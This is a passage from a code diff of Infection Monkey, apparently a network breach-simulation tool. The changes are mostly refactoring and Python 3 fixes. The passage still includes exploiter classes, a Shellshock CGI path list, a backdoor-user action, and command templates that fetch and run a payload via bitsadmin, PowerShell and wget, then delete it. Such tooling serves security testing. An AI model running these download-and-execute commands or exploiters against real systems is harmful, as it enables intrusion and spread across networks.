'aborting brute force'.format(host, port))
raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
raise FailedExploitationError("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
class MSSQLLimitedSizePayload(LimitedSizePayload):

View File

@ -20,7 +20,7 @@ from infection_monkey.exploit import HostExploiter
from infection_monkey.model import DROPPER_ARG
from infection_monkey.network.smbfinger import SMB_SERVICE
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.pyinstaller_utils import get_binary_file_path
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
@ -448,7 +448,12 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
return SambaCryExploiter.create_smb(
smb_client,
treeId,
pathName,
desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
creationOptions=FILE_OPEN,
creationDisposition=FILE_NON_DIRECTORY_FILE,
fileAttributes=0)

View File

@ -1,7 +1,8 @@
# resource for shellshock attack
# copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list
CGI_FILES = (r'/',
CGI_FILES = (
r'/',
r'/admin.cgi',
r'/administrator.cgi',
r'/agora.cgi',
@ -403,4 +404,5 @@ CGI_FILES = (r'/',
r'/webtools/bonsai/showcheckins.cgi',
r'/wwwadmin.cgi',
r'/wwwboard.cgi',
r'/wwwboard/wwwboard.cgi')
r'/wwwboard/wwwboard.cgi'
)

View File

@ -7,10 +7,9 @@ import paramiko
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
from infection_monkey.exploit.tools.exceptions import FailedExploitationError
from infection_monkey.network.tools import check_tcp_port
from common.utils.exploit_enum import ExploitType
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem

View File

@ -3,13 +3,14 @@
code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
"""
import urllib.request, urllib.error, urllib.parse
import http.client
import unicodedata
import logging
import re
import ssl
import urllib.error
import urllib.parse
import urllib.request
import logging
from infection_monkey.exploit.web_rce import WebRCE
__author__ = "VakarisZ"

View File

@ -1,5 +1,3 @@
class ExploitingVulnerableMachineError(Exception):
""" Raise when exploiter failed, but machine is vulnerable"""

View File

@ -1,52 +1,8 @@
import logging
import socket
import struct
import sys
from infection_monkey.network.info import get_routes
LOG = logging.getLogger(__name__)
def get_interface_to_target(dst):
"""
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
"""
if sys.platform == "win32":
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((dst, 1))
ip_to_dst = s.getsockname()[0]
except KeyError:
LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.")
ip_to_dst = '127.0.0.1'
finally:
s.close()
return ip_to_dst
else:
# based on scapy implementation
def atol(x):
ip = socket.inet_aton(x)
return struct.unpack("!I", ip)[0]
routes = get_routes()
dst = atol(dst)
paths = []
for d, m, gw, i, a in routes:
aa = atol(a)
if aa == dst:
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m):
paths.append((m, (i, a, gw)))
if not paths:
return None
paths.sort()
ret = paths[-1][1]
return ret[1]
def try_get_target_monkey(host):
src_path = get_target_monkey(host)
if not src_path:

View File

@ -1,14 +1,17 @@
import logging
import os
import os.path
import urllib.request, urllib.parse, urllib.error
import urllib.error
import urllib.parse
import urllib.request
from threading import Lock
from infection_monkey.model import DOWNLOAD_TIMEOUT
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.transport import HTTPServer, LockedHTTPServer
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
from infection_monkey.model import DOWNLOAD_TIMEOUT
from infection_monkey.exploit.tools.helpers import try_get_target_monkey
from infection_monkey.network.tools import get_interface_to_target
__author__ = 'itamar'

View File

@ -29,4 +29,3 @@ class TestPayload(TestCase):
array2[1] == "prefix5678suffix" and len(array2) == 2)
assert test1 and test2

View File

@ -10,8 +10,9 @@ import infection_monkey.config
import infection_monkey.monkeyfs as monkeyfs
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.config import Configuration
__author__ = 'itamar'
LOG = logging.getLogger(__name__)

View File

@ -4,9 +4,10 @@ from posixpath import join
from abc import abstractmethod
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import *
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.model import CHECK_COMMAND, ID_STRING, GET_ARCH_LINUX, GET_ARCH_WINDOWS, BITSADMIN_CMDLINE_HTTP, \
POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT, CHMOD_MONKEY, RUN_MONKEY, MONKEY_ARG, DROPPER_ARG
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
@ -256,7 +257,7 @@ class WebRCE(HostExploiter):
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % str(host))
LOG.info("Host %s was already infected under the current configuration, done" % str(self.host))
return True
def check_remote_files(self, url):
@ -284,7 +285,7 @@ class WebRCE(HostExploiter):
"""
ports = self.get_open_service_ports(ports, names)
if not ports:
LOG.info("All default web ports are closed on %r, skipping", str(host))
LOG.info("All default web ports are closed on %r, skipping", str(self.host))
return False
else:
return ports
@ -461,7 +462,7 @@ class WebRCE(HostExploiter):
"""
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Determine which destination path to use
dest_path = self.get_monkey_upload_path(src_path)

View File

@ -1,4 +1,3 @@
import threading
import logging
import time
@ -9,11 +8,10 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.network.info import get_free_tcp_port
from http.server import BaseHTTPRequestHandler, HTTPServer
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
@ -34,7 +32,6 @@ HEADERS = {
class WebLogicExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'

View File

@ -39,7 +39,8 @@ class WmiExploiter(HostExploiter):
password_hashed = self._config.hash_sensitive_data(password)
lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): ({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " \
"({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
wmi_connection = WmiTools.WmiConnection()
@ -121,4 +122,3 @@ class WmiExploiter(HostExploiter):
return success
return False

View File

@ -1,5 +1,3 @@
import argparse
import json
import logging
@ -23,8 +21,11 @@ LOG = None
LOG_CONFIG = {'version': 1,
'disable_existing_loggers': False,
'formatters': {'standard': {
'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'},
'formatters': {
'standard': {
'format':
'%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'
},
},
'handlers': {'console': {'class': 'logging.StreamHandler',
'level': 'DEBUG',

View File

@ -11,11 +11,14 @@ MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
'/c %%(monkey_path)s %s"' % (MONKEY_ARG,)
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
'file_path)s exit)) > NUL 2>&1 '
# Commands used for downloading monkeys
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \
"monkey_path)s\' -UseBasicParsing\" "
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s"

View File

@ -26,8 +26,8 @@ from infection_monkey.telemetry.trace_telem import TraceTelem
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError, FailedExploitationError
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from common.utils.attack_utils import ScanStatus, UsageEnum
@ -182,8 +182,8 @@ class InfectionMonkey(object):
monkey_tunnel.set_tunnel_for_host(machine)
if self._default_server:
if self._network.on_island(self._default_server):
machine.set_default_server(get_interface_to_target(machine.ip_addr) + (
':' + self._default_server_port if self._default_server_port else ''))
machine.set_default_server(get_interface_to_target(machine.ip_addr) +
(':' + self._default_server_port if self._default_server_port else ''))
else:
machine.set_default_server(self._default_server)
LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))
@ -312,6 +312,8 @@ class InfectionMonkey(object):
machine, exploiter.__class__.__name__, exc)
self.successfully_exploited(machine, exploiter)
return True
except FailedExploitationError as e:
LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e)
except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)

View File

@ -68,17 +68,11 @@ def process_datas(orig_datas):
def get_binaries():
binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
binaries = [] if is_windows() else get_linux_only_binaries()
binaries += get_sc_binaries()
return binaries
def get_windows_only_binaries():
binaries = []
binaries += get_msvcr()
return binaries
def get_linux_only_binaries():
binaries = []
binaries += get_traceroute_binaries()
@ -93,10 +87,6 @@ def get_sc_binaries():
return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']]
def get_msvcr():
return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')]
def get_traceroute_binaries():
traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64'
return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')]

View File

@ -34,7 +34,6 @@ class VirtualFile(BytesIO):
return path in VirtualFile._vfs
def getsize(path):
if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.getsize(path)
@ -53,6 +52,7 @@ def virtual_path(name):
return "%s%s" % (MONKEYFS_PREFIX, name)
# noinspection PyShadowingBuiltins
def open(name, mode='r', buffering=-1):
# use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
if name.startswith(MONKEYFS_PREFIX):

View File

@ -8,6 +8,7 @@ def _run_netsh_cmd(command, args):
if value])), stdout=subprocess.PIPE)
return cmd.stdout.read().strip().lower().endswith('ok.')
class FirewallApp(object):
def is_enabled(self, **kwargs):
return False
@ -24,7 +25,7 @@ class FirewallApp(object):
def __enter__(self):
return self
def __exit__(self, type, value, traceback):
def __exit__(self, exc_type, value, traceback):
self.close()
def close(self):
@ -48,9 +49,9 @@ class WinAdvFirewall(FirewallApp):
except:
return None
def add_firewall_rule(self, name="Firewall", dir="in", action="allow", program=sys.executable, **kwargs):
def add_firewall_rule(self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs):
netsh_args = {'name': name,
'dir': dir,
'dir': direction,
'action': action,
'program': program}
netsh_args.update(kwargs)

View File

@ -13,9 +13,13 @@ from requests import ConnectionError
from common.network.network_range import CidrRange
from infection_monkey.utils.environment import is_windows_os
# Timeout for monkey connections
TIMEOUT = 15
LOOPBACK_NAME = b"lo"
SIOCGIFADDR = 0x8915 # get PA address
SIOCGIFNETMASK = 0x891b # get network PA mask
RTF_UP = 0x0001 # Route usable
RTF_REJECT = 0x0200
def get_host_subnets():
@ -43,31 +47,20 @@ def get_host_subnets():
if is_windows_os():
def local_ips():
local_hostname = socket.gethostname()
return socket.gethostbyname_ex(local_hostname)[2]
def get_routes():
raise NotImplementedError()
else:
from fcntl import ioctl
def local_ips():
valid_ips = [network['addr'] for network in get_host_subnets()]
return valid_ips
def get_routes(): # based on scapy implementation for route parsing
LOOPBACK_NAME = b"lo"
SIOCGIFADDR = 0x8915 # get PA address
SIOCGIFNETMASK = 0x891b # get network PA mask
RTF_UP = 0x0001 # Route usable
RTF_REJECT = 0x0200
try:
f = open("/proc/net/route", "r")
except IOError:

View File

@ -11,7 +11,6 @@ LOG = logging.getLogger(__name__)
class MSSQLFinger(HostFinger):
# Class related consts
SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096

View File

@ -48,7 +48,7 @@ class MySQLFinger(HostFinger):
return False
version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing
version = version[0]
version = version[0].decode()
self.init_service(host.services, SQL_SERVICE, MYSQL_PORT)
host.services[SQL_SERVICE]['version'] = version
version = version.split('-')[0].split('.')

View File

@ -6,7 +6,8 @@ import sys
import infection_monkey.config
from infection_monkey.network.HostFinger import HostFinger
import infection_monkey.network.HostScanner
from infection_monkey.network.HostScanner import HostScanner
from infection_monkey.model.host import VictimHost
__author__ = 'itamar'
@ -19,8 +20,7 @@ WINDOWS_TTL = 128
LOG = logging.getLogger(__name__)
class PingScanner(infection_monkey.network.HostScanner.HostScanner, HostFinger):
class PingScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = ''
def __init__(self):
@ -47,14 +47,12 @@ class PingScanner(infection_monkey.network.HostScanner.HostScanner, HostFinger):
if not "win32" == sys.platform:
timeout /= 1000
sub_proc = subprocess.Popen(["ping",
PING_COUNT_FLAG,
"1",
PING_TIMEOUT_FLAG,
str(timeout), host.ip_addr],
sub_proc = subprocess.Popen(
["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True)
text=True
)
output = " ".join(sub_proc.communicate())
regex_result = self._ttl_regex.search(output)

View File

@ -29,7 +29,7 @@ class Packet:
return b"".join(content_list)
##### SMB Packets #####
# SMB Packets
class SMBHeader(Packet):
fields = odict([
("proto", b"\xff\x53\x4d\x42"),
@ -91,7 +91,13 @@ class SMBSessionFingerData(Packet):
("capabilities", b"\xd4\x00\x00\xa0"),
("bcc1", ""),
("Data",
b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02"
b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00"
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f"
b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63"
b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00"
b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35"
b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])

View File

@ -3,7 +3,7 @@ from random import shuffle
import infection_monkey.config
from infection_monkey.network.HostFinger import HostFinger
import infection_monkey.network.HostScanner
from infection_monkey.network.HostScanner import HostScanner
from infection_monkey.network.tools import check_tcp_ports, tcp_port_to_service
__author__ = 'itamar'
@ -11,7 +11,7 @@ __author__ = 'itamar'
BANNER_READ = 1024
class TcpScanner(infection_monkey.network.HostScanner.HostScanner, HostFinger):
class TcpScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = 'unknown(TCP)'
def __init__(self):
@ -25,7 +25,8 @@ class TcpScanner(infection_monkey.network.HostScanner.HostScanner, HostFinger):
Scans a target host to see if it's alive using the tcp_target_ports specified in the configuration.
:param host: VictimHost structure
:param only_one_port: Currently unused.
:return: T/F if there is at least one open port. In addition, the host object is updated to mark those services as alive.
:return: T/F if there is at least one open port.
In addition, the host object is updated to mark those services as alive.
"""
# maybe hide under really bad detection systems

View File

@ -7,6 +7,7 @@ import struct
import time
import re
from infection_monkey.network.info import get_routes
from infection_monkey.pyinstaller_utils import get_binary_file_path
from infection_monkey.utils.environment import is_64bit_python
@ -40,7 +41,7 @@ def struct_unpack_tracker_string(data, index):
:param index: Position index
:return: (Data, new index)
"""
ascii_len = data[index:].find('\0')
ascii_len = data[index:].find(b'\0')
fmt = "%ds" % ascii_len
return struct_unpack_tracker(data, index, fmt)
@ -158,8 +159,8 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
banners = []
if get_banner and (len(connected_ports_sockets) != 0):
readable_sockets, _, _ = select.select([s[1] for s in connected_ports_sockets], [], [], 0)
# read first BANNER_READ bytes
banners = [sock.recv(BANNER_READ).decode() if sock in readable_sockets else ""
# read first BANNER_READ bytes. We ignore errors because service might not send a decodable byte string.
banners = [sock.recv(BANNER_READ).decode(errors='ignore') if sock in readable_sockets else ""
for port, sock in connected_ports_sockets]
pass
# try to cleanup
@ -269,3 +270,42 @@ def _traceroute_linux(target_ip, ttl):
lines = [x[1:-1] if x else None # Removes parenthesis
for x in lines]
return lines
def get_interface_to_target(dst):
"""
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
"""
if sys.platform == "win32":
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((dst, 1))
ip_to_dst = s.getsockname()[0]
except KeyError:
LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.")
ip_to_dst = '127.0.0.1'
finally:
s.close()
return ip_to_dst
else:
# based on scapy implementation
def atol(x):
ip = socket.inet_aton(x)
return struct.unpack("!I", ip)[0]
routes = get_routes()
dst = atol(dst)
paths = []
for d, m, gw, i, a in routes:
aa = atol(a)
if aa == dst:
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m):
paths.append((m, (i, a, gw)))
if not paths:
return None
paths.sort()
ret = paths[-1][1]
return ret[1]

View File

@ -13,4 +13,3 @@ class BackdoorUser(PBA):
POST_BREACH_BACKDOOR_USER,
linux_cmd=' '.join(linux_cmds),
windows_cmd=windows_cmds)

View File

@ -9,7 +9,7 @@ from infection_monkey.config import WormConfiguration
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.tools import get_interface_to_target
LOG = logging.getLogger(__name__)
@ -27,6 +27,7 @@ class UsersPBA(PBA):
"""
Defines user's configured post breach action.
"""
def __init__(self):
super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
self.filename = ''

View File

@ -7,7 +7,6 @@ from infection_monkey.utils.environment import is_windows_os
from infection_monkey.config import WormConfiguration
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
@ -19,6 +18,7 @@ class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
"""
:param name: Name of post breach action.

View File

@ -1,7 +1,6 @@
import os
import sys
__author__ = 'itay.mizeretz'

View File

@ -1,11 +1,10 @@
enum34
impacket
pycryptodome
cffi
requests
odict
paramiko
psutil==3.4.2
psutil
PyInstaller
ecdsa
netifaces
@ -13,4 +12,3 @@ ipaddress
wmi
pymssql
pyftpdlib
enum34

View File

@ -1,4 +1,3 @@
enum34
impacket
pycryptodome
cffi
@ -14,4 +13,3 @@ wmi
pywin32
pymssql
pyftpdlib
enum34

View File

@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__)
try:
WindowsError
except NameError:
# noinspection PyShadowingBuiltins
WindowsError = psutil.AccessDenied
__author__ = 'uri'

View File

@ -26,4 +26,3 @@ class LinuxInfoCollector(InfoCollector):
super(LinuxInfoCollector, self).get_info()
self.info['ssh_info'] = SSHCollector.get_info()
return self.info

View File

@ -1,6 +1,7 @@
import os
import logging
import sys
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
import infection_monkey.config
@ -35,7 +36,7 @@ class WindowsInfoCollector(InfoCollector):
"""
LOG.debug("Running Windows collector")
super(WindowsInfoCollector, self).get_info()
#self.get_wmi_info()
# TODO: Think about returning self.get_wmi_info()
self.get_installed_packages()
from infection_monkey.config import WormConfiguration
if WormConfiguration.should_use_mimikatz:

View File

@ -29,4 +29,3 @@ WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
"DS_whenChanged", "DS_whenCreated"),
}

View File

@ -5,7 +5,6 @@ from abc import ABCMeta, abstractmethod
from infection_monkey.config import WormConfiguration
__author__ = 'itamar'
LOG = logging.getLogger(__name__)

View File

@ -1,4 +1,3 @@
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
__author__ = 'hoffer'

View File

@ -9,7 +9,7 @@ from urllib.parse import urlsplit
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.tools import get_interface_to_target
__author__ = 'hoffer'
@ -64,7 +64,6 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)):
self.send_error(500, "")
return None, 0, 0
f = None
try:
f = monkeyfs.open(self.filename, 'rb')
except IOError:
@ -100,10 +99,10 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
self.end_headers()
return f, start_range, end_range
def log_message(self, format, *args):
def log_message(self, format_string, *args):
LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(),
self.log_date_time_string(),
format % args))
format_string % args))
class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
@ -117,7 +116,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
def do_CONNECT(self):
# just provide a tunnel, transfer the data with no modification
req = self
reqbody = None
req.path = "https://%s/" % req.path.replace(':443', '')
u = urlsplit(req.path)
@ -148,9 +146,9 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
update_last_serve_time()
conn.close()
def log_message(self, format, *args):
def log_message(self, format_string, *args):
LOG.debug("HTTPConnectProxyHandler: %s - [%s] %s" %
(self.address_string(), self.log_date_time_string(), format % args))
(self.address_string(), self.log_date_time_string(), format_string % args))
class HTTPServer(threading.Thread):

View File

@ -7,9 +7,8 @@ from threading import Thread
from infection_monkey.model import VictimHost
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import local_ips, get_free_tcp_port
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
from infection_monkey.transport.base import get_last_serve_time
from infection_monkey.exploit.tools.helpers import get_interface_to_target
__author__ = 'hoffer'

View File

@ -6,5 +6,3 @@ def get_commands_to_add_user(username, password):
linux_cmds = get_linux_commands_to_add_user(username)
windows_cmds = get_windows_commands_to_add_user(username, password)
return linux_cmds, windows_cmds

View File

@ -1,11 +1,8 @@
import os
import uuid
from datetime import datetime
import bson
import flask_restful
from bson.json_util import dumps
from flask import Flask, send_from_directory, make_response, Response
from flask import Flask, send_from_directory, Response
from werkzeug.exceptions import NotFound
from monkey_island.cc.auth import init_jwt
@ -29,19 +26,19 @@ from monkey_island.cc.resources.telemetry import Telemetry
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
from monkey_island.cc.resources.pba_file_download import PBAFileDownload
from monkey_island.cc.resources.version_update import VersionUpdate
from monkey_island.cc.services.database import Database
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.resources.pba_file_upload import FileUpload
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
from monkey_island.cc.resources.attack.attack_report import AttackReport
from monkey_island.cc.services.database import Database
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.services.representations import output_json
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.resources.test.monkey_test import MonkeyTest
from monkey_island.cc.resources.test.log_test import LogTest
__author__ = 'Barak'
HOME_FILE = 'index.html'
@ -62,32 +59,6 @@ def serve_home():
return serve_static_file(HOME_FILE)
def normalize_obj(obj):
if '_id' in obj and not 'id' in obj:
obj['id'] = obj['_id']
del obj['_id']
for key, value in list(obj.items()):
if isinstance(value, bson.objectid.ObjectId):
obj[key] = str(value)
if isinstance(value, datetime):
obj[key] = str(value)
if isinstance(value, dict):
obj[key] = normalize_obj(value)
if isinstance(value, list):
for i in range(0, len(value)):
if isinstance(value[i], dict):
value[i] = normalize_obj(value[i])
return obj
def output_json(obj, code, headers=None):
obj = normalize_obj(obj)
resp = make_response(dumps(obj), code)
resp.headers.extend(headers or {})
return resp
def init_app_config(app, mongo_url):
app.config['MONGO_URI'] = mongo_url
app.config['SECRET_KEY'] = str(uuid.getnode())

View File

@ -1,7 +1,6 @@
import monkey_island.cc.auth
from monkey_island.cc.environment import Environment
from common.cloud.aws_instance import AwsInstance
from Crypto.Hash import SHA3_512
__author__ = 'itay.mizeretz'

View File

@ -34,8 +34,8 @@ def load_server_configuration_from_file():
def load_env_from_file():
config_json = load_server_configuration_from_file()
return config_json['server_config']
loaded_config_json = load_server_configuration_from_file()
return loaded_config_json['server_config']
